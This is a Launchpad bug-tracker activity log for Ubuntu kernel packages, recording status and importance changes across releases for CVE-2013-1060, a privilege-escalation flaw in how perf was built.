2015-01-28 02:13:52 John Johansen linux-lts-trusty (Ubuntu Trusty): status New Invalid
2015-01-28 02:13:57 John Johansen linux-lts-trusty (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:14:01 John Johansen linux-lts-trusty (Ubuntu Lucid): status New Invalid
2015-01-28 02:14:06 John Johansen linux-lts-trusty (Ubuntu Lucid): importance Undecided Medium
2015-01-28 02:14:09 John Johansen linux-lts-trusty (Ubuntu Vivid): status New Invalid
2015-01-28 02:14:13 John Johansen linux-lts-trusty (Ubuntu Vivid): importance Undecided Medium
2015-01-28 02:14:17 John Johansen linux-lts-trusty (Ubuntu Utopic): status New Invalid
2015-01-28 02:14:20 John Johansen linux-lts-trusty (Ubuntu Utopic): importance Undecided Medium
2015-01-28 02:14:23 John Johansen linux-armadaxp (Ubuntu Trusty): status New Invalid
2015-01-28 02:14:27 John Johansen linux-armadaxp (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:14:30 John Johansen linux-armadaxp (Ubuntu Utopic): status New Invalid
2015-01-28 02:14:35 John Johansen linux-armadaxp (Ubuntu Utopic): importance Undecided Medium
2015-01-28 02:14:38 John Johansen linux-lts-utopic (Ubuntu Precise): status New Invalid
2015-01-28 02:14:43 John Johansen linux-lts-utopic (Ubuntu Precise): importance Undecided Medium
2015-01-28 02:14:47 John Johansen linux-lts-utopic (Ubuntu Trusty): status New Invalid
2015-01-28 02:14:51 John Johansen linux-lts-utopic (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:14:55 John Johansen linux-lts-utopic (Ubuntu Lucid): status New Invalid
2015-01-28 02:15:00 John Johansen linux-lts-utopic (Ubuntu Lucid): importance Undecided Medium
2015-01-28 02:15:03 John Johansen linux-lts-utopic (Ubuntu Vivid): status New Invalid
2015-01-28 02:15:08 John Johansen linux-lts-utopic (Ubuntu Vivid): importance Undecided Medium
2015-01-28 02:15:12 John Johansen linux-lts-utopic (Ubuntu Utopic): status New Invalid
2015-01-28 02:15:17 John Johansen linux-lts-utopic (Ubuntu Utopic): importance Undecided Medium
2015-01-28 02:15:23 John Johansen linux-ec2 (Ubuntu Trusty): status New Invalid
2015-01-28 02:15:27 John Johansen linux-ec2 (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:15:32 John Johansen linux-ec2 (Ubuntu Utopic): status New Invalid
2015-01-28 02:15:36 John Johansen linux-ec2 (Ubuntu Utopic): importance Undecided Medium
2015-01-28 02:15:41 John Johansen linux-lts-quantal (Ubuntu Trusty): status New Invalid
2015-01-28 02:15:45 John Johansen linux-lts-quantal (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:15:50 John Johansen linux-lts-quantal (Ubuntu Utopic): status New Invalid
2015-01-28 02:15:53 John Johansen linux-lts-quantal (Ubuntu Utopic): importance Undecided Medium
2015-01-28 02:15:58 John Johansen linux-flo (Ubuntu Precise): status New Invalid
2015-01-28 02:16:02 John Johansen linux-flo (Ubuntu Precise): importance Undecided Medium
2015-01-28 02:16:04 John Johansen linux-flo (Ubuntu Trusty): status New Invalid
2015-01-28 02:16:10 John Johansen linux-flo (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:16:13 John Johansen linux-flo (Ubuntu Lucid): status New Invalid
2015-01-28 02:16:19 John Johansen linux-flo (Ubuntu Lucid): importance Undecided Medium
2015-01-28 02:16:24 John Johansen linux-flo (Ubuntu Vivid): importance Undecided Medium
2015-01-28 02:16:30 John Johansen linux-flo (Ubuntu Utopic): importance Undecided Medium
2015-01-28 02:16:34 John Johansen linux-mvl-dove (Ubuntu Trusty): status New Invalid
2015-01-28 02:16:40 John Johansen linux-mvl-dove (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:16:44 John Johansen linux-mvl-dove (Ubuntu Utopic): status New Invalid
2015-01-28 02:16:49 John Johansen linux-mvl-dove (Ubuntu Utopic): importance Undecided Medium
2015-01-28 02:16:52 John Johansen linux-goldfish (Ubuntu Precise): status New Invalid
2015-01-28 02:16:57 John Johansen linux-goldfish (Ubuntu Precise): importance Undecided Medium
2015-01-28 02:17:01 John Johansen linux-goldfish (Ubuntu Trusty): status New Invalid
2015-01-28 02:17:05 John Johansen linux-goldfish (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:17:07 John Johansen linux-goldfish (Ubuntu Lucid): status New Invalid
2015-01-28 02:17:12 John Johansen linux-goldfish (Ubuntu Lucid): importance Undecided Medium
2015-01-28 02:17:16 John Johansen linux-goldfish (Ubuntu Vivid): importance Undecided Medium
2015-01-28 02:17:20 John Johansen linux-goldfish (Ubuntu Utopic): importance Undecided Medium
2015-01-28 02:17:24 John Johansen linux (Ubuntu Trusty): status New Invalid
2015-01-28 02:17:29 John Johansen linux (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:17:32 John Johansen linux (Ubuntu Utopic): status New Invalid
2015-01-28 02:17:36 John Johansen linux (Ubuntu Utopic): importance Undecided Medium
2015-01-28 02:17:39 John Johansen linux-mako (Ubuntu Precise): status New Invalid
2015-01-28 02:17:43 John Johansen linux-mako (Ubuntu Precise): importance Undecided Medium
2015-01-28 02:17:47 John Johansen linux-mako (Ubuntu Trusty): status New Invalid
2015-01-28 02:17:50 John Johansen linux-mako (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:17:55 John Johansen linux-mako (Ubuntu Lucid): status New Invalid
2015-01-28 02:17:59 John Johansen linux-mako (Ubuntu Lucid): importance Undecided Medium
2015-01-28 02:18:03 John Johansen linux-mako (Ubuntu Vivid): importance Undecided Medium
2015-01-28 02:18:07 John Johansen linux-mako (Ubuntu Utopic): importance Undecided Medium
2015-01-28 02:18:10 John Johansen linux-ti-omap4 (Ubuntu Trusty): status New Invalid
2015-01-28 02:18:14 John Johansen linux-ti-omap4 (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:18:17 John Johansen linux-ti-omap4 (Ubuntu Vivid): status Fix Released Invalid
2015-01-28 02:18:21 John Johansen linux-ti-omap4 (Ubuntu Utopic): status New Invalid
2015-01-28 02:18:26 John Johansen linux-ti-omap4 (Ubuntu Utopic): importance Undecided Medium
2015-01-28 02:18:30 John Johansen linux-fsl-imx51 (Ubuntu Trusty): status New Invalid
2015-01-28 02:18:35 John Johansen linux-fsl-imx51 (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:18:39 John Johansen linux-fsl-imx51 (Ubuntu Utopic): status New Invalid
2015-01-28 02:18:44 John Johansen linux-fsl-imx51 (Ubuntu Utopic): importance Undecided Medium
2015-01-28 02:18:47 John Johansen linux-lts-raring (Ubuntu Trusty): status New Invalid
2015-01-28 02:18:52 John Johansen linux-lts-raring (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:18:56 John Johansen linux-lts-raring (Ubuntu Utopic): status New Invalid
2015-01-28 02:19:01 John Johansen linux-lts-raring (Ubuntu Utopic): importance Undecided Medium
2015-01-28 02:19:04 John Johansen linux-manta (Ubuntu Precise): status New Invalid
2015-01-28 02:19:11 John Johansen linux-manta (Ubuntu Precise): importance Undecided Medium
2015-01-28 02:19:15 John Johansen linux-manta (Ubuntu Trusty): status New Invalid
2015-01-28 02:19:21 John Johansen linux-manta (Ubuntu Trusty): importance Undecided Medium
2015-01-28 02:19:26 John Johansen linux-manta (Ubuntu Lucid): status New Invalid
2015-01-28 02:19:33 John Johansen linux-manta (Ubuntu Lucid): importance Undecided Medium
2015-01-28 02:19:37 John Johansen linux-manta (Ubuntu Vivid): importance Undecided Medium
2015-01-28 02:19:41 John Johansen linux-manta (Ubuntu Utopic): importance Undecided Medium
2015-01-28 04:20:49 John Johansen description A missing build configuration variable allowed a default HOME environment variable path to be built into the perf binary, which may allow a user named 'buildd' to specify commands to be run as root when users use the perf tool. Break-Fix: - local-2013-1060 A certain Ubuntu build procedure for perf, as distributed in the Linux kernel packages in Ubuntu 10.04 LTS, 12.04 LTS, 12.10, 13.04, and 13.10, sets the HOME environment variable to the ~buildd directory and consequently reads the system configuration file from the ~buildd directory, which allows local users to gain privileges by leveraging control over the buildd account. Break-Fix: - local-2013-1060
2015-03-25 03:35:11 Mathew Hodson summary Perf allows buildd user to run arbitrary code as another user CVE-2013-1060
2015-03-25 03:38:38 Mathew Hodson linux-lts-saucy (Ubuntu Lucid): status New Invalid
2015-03-25 03:39:25 Mathew Hodson linux-lts-saucy (Ubuntu Precise): status New Invalid
2015-03-25 03:39:47 Mathew Hodson linux-lts-saucy (Ubuntu Trusty): status New Invalid
2015-03-25 03:40:09 Mathew Hodson linux-lts-saucy (Ubuntu Utopic): status New Invalid
2015-03-25 03:40:29 Mathew Hodson linux-lts-saucy (Ubuntu Vivid): status New Invalid
2015-03-25 03:41:57 Mathew Hodson tags amd64 apport-bug precise running-unity staging kernel-cve-tracking-bug
2015-05-04 21:57:20 John Johansen bug task deleted linux-lts-trusty (Ubuntu Lucid)
2015-05-04 21:57:22 John Johansen bug task deleted linux-armadaxp (Ubuntu Lucid)
2015-05-04 21:57:23 John Johansen bug task deleted linux-ec2 (Ubuntu Lucid)
2015-05-04 21:57:24 John Johansen bug task deleted linux-goldfish (Ubuntu Lucid)
2015-05-04 21:57:26 John Johansen bug task deleted linux-lts-saucy (Ubuntu Lucid)
2015-05-04 21:57:27 John Johansen bug task deleted linux-lts-quantal (Ubuntu Lucid)
2015-05-04 21:57:28 John Johansen bug task deleted linux-mvl-dove (Ubuntu Lucid)
2015-05-04 21:57:30 John Johansen bug task deleted linux-ti-omap4 (Ubuntu Lucid)
2015-05-04 21:57:31 John Johansen bug task deleted linux (Ubuntu Lucid)
2015-05-04 21:57:32 John Johansen bug task deleted linux-mako (Ubuntu Lucid)
2015-05-04 21:57:33 John Johansen bug task deleted linux-fsl-imx51 (Ubuntu Lucid)
2015-05-04 21:57:35 John Johansen bug task deleted linux-lts-utopic (Ubuntu Lucid)
2015-05-04 21:57:36 John Johansen bug task deleted linux-flo (Ubuntu Lucid)
2015-05-04 21:57:37 John Johansen bug task deleted linux-lts-raring (Ubuntu Lucid)
2015-05-04 21:57:38 John Johansen bug task deleted linux-manta (Ubuntu Lucid)
2015-05-08 09:44:32 John Johansen nominated for series Ubuntu Wily
2015-05-08 09:44:33 John Johansen bug task added linux (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-fsl-imx51 (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-mvl-dove (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-ec2 (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-ti-omap4 (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-armadaxp (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-lts-quantal (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-lts-raring (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-lts-saucy (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-mako (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-manta (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-goldfish (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-flo (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-lts-trusty (Ubuntu Wily)
2015-05-08 09:44:33 John Johansen bug task added linux-lts-utopic (Ubuntu Wily)
2015-05-08 09:44:40 John Johansen linux-lts-vivid (Ubuntu Precise): status New Invalid
2015-05-08 09:44:43 John Johansen linux-lts-vivid (Ubuntu Precise): importance Undecided Medium
2015-05-08 09:44:46 John Johansen linux-lts-vivid (Ubuntu Vivid): status New Invalid
2015-05-08 09:44:49 John Johansen linux-lts-vivid (Ubuntu Vivid): importance Undecided Medium
2015-05-08 09:44:51 John Johansen linux-lts-vivid (Ubuntu Wily): status New Invalid
2015-05-08 09:44:54 John Johansen linux-lts-vivid (Ubuntu Wily): importance Undecided Medium
2015-05-08 09:44:55 John Johansen linux-lts-vivid (Ubuntu Utopic): status New Invalid
2015-05-08 09:44:58 John Johansen linux-lts-vivid (Ubuntu Utopic): importance Undecided Medium
2015-05-08 09:45:00 John Johansen linux-lts-vivid (Ubuntu Trusty): status New Fix Committed
2015-05-08 09:45:02 John Johansen linux-lts-vivid (Ubuntu Trusty): importance Undecided Medium
2015-05-21 10:22:03 Andy Whitcroft linux-lts-utopic (Ubuntu Trusty): status Invalid Fix Committed
2015-05-21 10:22:14 Andy Whitcroft linux (Ubuntu Utopic): status Invalid Fix Committed
2015-05-21 10:22:51 Andy Whitcroft linux-lts-trusty (Ubuntu Precise): status Invalid Fix Committed
2015-05-21 10:22:56 Andy Whitcroft linux (Ubuntu Trusty): status Invalid Fix Committed
2015-05-27 19:28:01 Mathew Hodson cve linked 2012-2372
2015-06-10 01:30:22 Mathew Hodson linux (Ubuntu Trusty): status Fix Committed Invalid
2015-06-10 01:30:36 Mathew Hodson linux (Ubuntu Utopic): status Fix Committed Invalid
2015-06-10 01:35:57 Mathew Hodson linux-lts-vivid (Ubuntu Trusty): status Fix Committed Invalid
2015-06-10 01:36:16 Mathew Hodson linux-lts-trusty (Ubuntu Precise): status Fix Committed Invalid
2015-06-10 01:36:36 Mathew Hodson linux-lts-utopic (Ubuntu Trusty): status Fix Committed Invalid
2015-07-28 10:37:42 John Johansen bug task deleted linux-lts-trusty (Ubuntu Utopic)
2015-07-28 10:37:43 John Johansen bug task deleted linux-armadaxp (Ubuntu Utopic)
2015-07-28 10:37:45 John Johansen bug task deleted linux-ec2 (Ubuntu Utopic)
2015-07-28 10:37:46 John Johansen bug task deleted linux-goldfish (Ubuntu Utopic)
2015-07-28 10:37:47 John Johansen bug task deleted linux-lts-saucy (Ubuntu Utopic)
2015-07-28 10:37:49 John Johansen bug task deleted linux-lts-quantal (Ubuntu Utopic)
2015-07-28 10:37:50 John Johansen bug task deleted linux-mvl-dove (Ubuntu Utopic)
2015-07-28 10:37:52 John Johansen bug task deleted linux-ti-omap4 (Ubuntu Utopic)
2015-07-28 10:37:53 John Johansen bug task deleted linux-lts-vivid (Ubuntu Utopic)
2015-07-28 10:37:55 John Johansen bug task deleted linux (Ubuntu Utopic)
2015-07-28 10:37:56 John Johansen bug task deleted linux-mako (Ubuntu Utopic)
2015-07-28 10:37:57 John Johansen bug task deleted linux-fsl-imx51 (Ubuntu Utopic)
2015-07-28 10:37:58 John Johansen bug task deleted linux-lts-utopic (Ubuntu Utopic)
2015-07-28 10:38:00 John Johansen bug task deleted linux-flo (Ubuntu Utopic)
2015-07-28 10:38:01 John Johansen bug task deleted linux-lts-raring (Ubuntu Utopic)
2015-07-28 10:38:02 John Johansen bug task deleted linux-manta (Ubuntu Utopic)
2015-08-18 17:11:06 Mathew Hodson linux (Ubuntu Vivid): status Fix Released Invalid
2015-08-18 17:11:31 Mathew Hodson linux (Ubuntu Wily): status Fix Released Invalid
2015-08-18 17:11:58 Mathew Hodson linux (Ubuntu Vivid): assignee Andy Whitcroft (apw)
2015-08-18 17:12:12 Mathew Hodson linux (Ubuntu Wily): assignee Andy Whitcroft (apw)
2015-10-02 09:34:05 Andy Whitcroft linux (Ubuntu Wily): status Invalid Fix Committed
2015-10-28 05:42:54 Steve Beattie nominated for series Ubuntu Xenial
2015-10-28 05:42:55 Steve Beattie bug task added linux (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-fsl-imx51 (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-mvl-dove (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-ec2 (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-ti-omap4 (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-armadaxp (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-lts-quantal (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-lts-raring (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-lts-saucy (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-mako (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-manta (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-goldfish (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-flo (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-lts-trusty (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-lts-utopic (Ubuntu Xenial)
2015-10-28 05:42:55 Steve Beattie bug task added linux-lts-vivid (Ubuntu Xenial)
2015-11-10 20:16:40 Steve Beattie linux-lts-wily (Ubuntu Precise): status New Invalid
2015-11-10 20:16:42 Steve Beattie linux-lts-wily (Ubuntu Precise): importance Undecided Medium
2015-11-10 20:16:44 Steve Beattie linux-lts-wily (Ubuntu Wily): status New Invalid
2015-11-10 20:16:47 Steve Beattie linux-lts-wily (Ubuntu Wily): importance Undecided Medium
2015-11-10 20:16:49 Steve Beattie linux-lts-wily (Ubuntu Xenial): status New Invalid
2015-11-10 20:16:51 Steve Beattie linux-lts-wily (Ubuntu Xenial): importance Undecided Medium
2015-11-10 20:16:54 Steve Beattie linux-lts-wily (Ubuntu Trusty): status New Invalid
2015-11-10 20:16:57 Steve Beattie linux-lts-wily (Ubuntu Trusty): importance Undecided Medium
2015-11-10 20:17:00 Steve Beattie linux-lts-wily (Ubuntu Vivid): status New Invalid
2015-11-10 20:17:03 Steve Beattie linux-lts-wily (Ubuntu Vivid): importance Undecided Medium
2015-11-16 16:31:36 Steve Beattie linux-raspi2 (Ubuntu Precise): status New Invalid
2015-11-16 16:31:39 Steve Beattie linux-raspi2 (Ubuntu Precise): importance Undecided Medium
2015-11-16 16:31:41 Steve Beattie linux-raspi2 (Ubuntu Wily): status New Invalid
2015-11-16 16:31:43 Steve Beattie linux-raspi2 (Ubuntu Wily): importance Undecided Medium
2015-11-16 16:31:45 Steve Beattie linux-raspi2 (Ubuntu Xenial): status New Invalid
2015-11-16 16:31:49 Steve Beattie linux-raspi2 (Ubuntu Xenial): importance Undecided Medium
2015-11-16 16:31:52 Steve Beattie linux-raspi2 (Ubuntu Trusty): status New Invalid
2015-11-16 16:31:55 Steve Beattie linux-raspi2 (Ubuntu Trusty): importance Undecided Medium
2015-11-16 16:31:57 Steve Beattie linux-raspi2 (Ubuntu Vivid): status New Invalid
2015-11-16 16:32:01 Steve Beattie linux-raspi2 (Ubuntu Vivid): importance Undecided Medium
2015-12-03 10:51:26 Steve Beattie linux-raspi2 (Ubuntu Xenial): status Invalid Fix Committed
2016-01-03 08:30:50 Mathew Hodson linux (Ubuntu Wily): status Fix Committed Invalid
2016-01-03 08:31:27 Mathew Hodson linux (Ubuntu Xenial): status Fix Committed Invalid
2016-01-11 16:21:54 Andy Whitcroft linux (Ubuntu Xenial): status Invalid Fix Committed
2016-02-10 14:26:47 Steve Beattie linux-lts-xenial (Ubuntu Precise): status New Invalid
2016-02-10 14:26:53 Steve Beattie linux-lts-xenial (Ubuntu Precise): importance Undecided Medium
2016-02-10 14:26:55 Steve Beattie linux-lts-xenial (Ubuntu Wily): status New Invalid
2016-02-10 14:26:59 Steve Beattie linux-lts-xenial (Ubuntu Wily): importance Undecided Medium
2016-02-10 14:27:02 Steve Beattie linux-lts-xenial (Ubuntu Xenial): status New Invalid
2016-02-10 14:27:04 Steve Beattie linux-lts-xenial (Ubuntu Xenial): importance Undecided Medium
2016-02-10 14:27:06 Steve Beattie linux-lts-xenial (Ubuntu Trusty): status New Fix Committed
2016-02-10 14:27:09 Steve Beattie linux-lts-xenial (Ubuntu Trusty): importance Undecided Medium
2016-04-18 14:56:39 Steve Beattie linux-manta (Ubuntu Xenial): status New Invalid
2016-04-26 17:56:09 Steve Beattie nominated for series Ubuntu Yakkety
2016-04-26 17:56:34 Steve Beattie description A certain Ubuntu build procedure for perf, as distributed in the Linux kernel packages in Ubuntu 10.04 LTS, 12.04 LTS, 12.10, 13.04, and 13.10, sets the HOME environment variable to the ~buildd directory and consequently reads the system configuration file from the ~buildd directory, which allows local users to gain privileges by leveraging control over the buildd account. Break-Fix: - local-2013-1060 A certain Ubuntu build procedure for perf, as distributed in the Linux kernel packages in Ubuntu 10.04 LTS, 12.04 LTS, 12.10, 13.04, and 13.10, sets the HOME environment variable to the ~buildd directory and consequently reads the system configuration file from the ~buildd directory, which allows local users to gain privileges by leveraging control over the buildd account.
2016-04-27 11:29:00 Steve Beattie bug task added linux (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-fsl-imx51 (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-mvl-dove (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-ec2 (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-ti-omap4 (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-armadaxp (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-lts-quantal (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-lts-raring (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-lts-saucy (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-mako (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-manta (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-goldfish (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-flo (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-lts-trusty (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-lts-utopic (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-lts-vivid (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-lts-wily (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-raspi2 (Ubuntu Yakkety)
2016-04-27 11:29:00 Steve Beattie bug task added linux-lts-xenial (Ubuntu Yakkety)
2016-04-27 11:29:21 Steve Beattie description A certain Ubuntu build procedure for perf, as distributed in the Linux kernel packages in Ubuntu 10.04 LTS, 12.04 LTS, 12.10, 13.04, and 13.10, sets the HOME environment variable to the ~buildd directory and consequently reads the system configuration file from the ~buildd directory, which allows local users to gain privileges by leveraging control over the buildd account. A certain Ubuntu build procedure for perf, as distributed in the Linux kernel packages in Ubuntu 10.04 LTS, 12.04 LTS, 12.10, 13.04, and 13.10, sets the HOME environment variable to the ~buildd directory and consequently reads the system configuration file from the ~buildd directory, which allows local users to gain privileges by leveraging control over the buildd account. Break-Fix: - local-2013-1060
2016-05-05 20:44:18 Steve Beattie linux-snapdragon (Ubuntu Precise): status New Invalid
2016-05-05 20:44:24 Steve Beattie linux-snapdragon (Ubuntu Precise): importance Undecided Medium
2016-05-05 20:44:28 Steve Beattie linux-snapdragon (Ubuntu Wily): status New Invalid
2016-05-05 20:44:31 Steve Beattie linux-snapdragon (Ubuntu Wily): importance Undecided Medium
2016-05-05 20:44:34 Steve Beattie linux-snapdragon (Ubuntu Xenial): status New Invalid
2016-05-05 20:44:37 Steve Beattie linux-snapdragon (Ubuntu Xenial): importance Undecided Medium
2016-05-05 20:44:40 Steve Beattie linux-snapdragon (Ubuntu Yakkety): status New Invalid
2016-05-05 20:44:43 Steve Beattie linux-snapdragon (Ubuntu Yakkety): importance Undecided Medium
2016-05-05 20:44:46 Steve Beattie linux-snapdragon (Ubuntu Trusty): status New Invalid
2016-05-05 20:44:49 Steve Beattie linux-snapdragon (Ubuntu Trusty): importance Undecided Medium
2017-07-12 12:13:16 Launchpad Janitor linux (Ubuntu): status Fix Committed Fix Released
2017-07-26 15:24:20 Andy Whitcroft linux (Ubuntu Yakkety): status Fix Committed Won't Fix
2017-10-11 14:43:18 Launchpad Janitor linux-raspi2 (Ubuntu): status Fix Committed Fix Released
2017-10-11 14:43:18 Launchpad Janitor cve linked 2017-1000252
2017-10-17 15:18:50 Andy Whitcroft linux-flo (Ubuntu Vivid): status New Won't Fix
2017-10-17 15:58:35 Andy Whitcroft linux-goldfish (Ubuntu Vivid): status New Won't Fix
2017-10-17 17:21:46 Andy Whitcroft linux-mako (Ubuntu Vivid): status New Won't Fix
2017-10-17 17:43:19 Andy Whitcroft linux-manta (Ubuntu Vivid): status New Won't Fix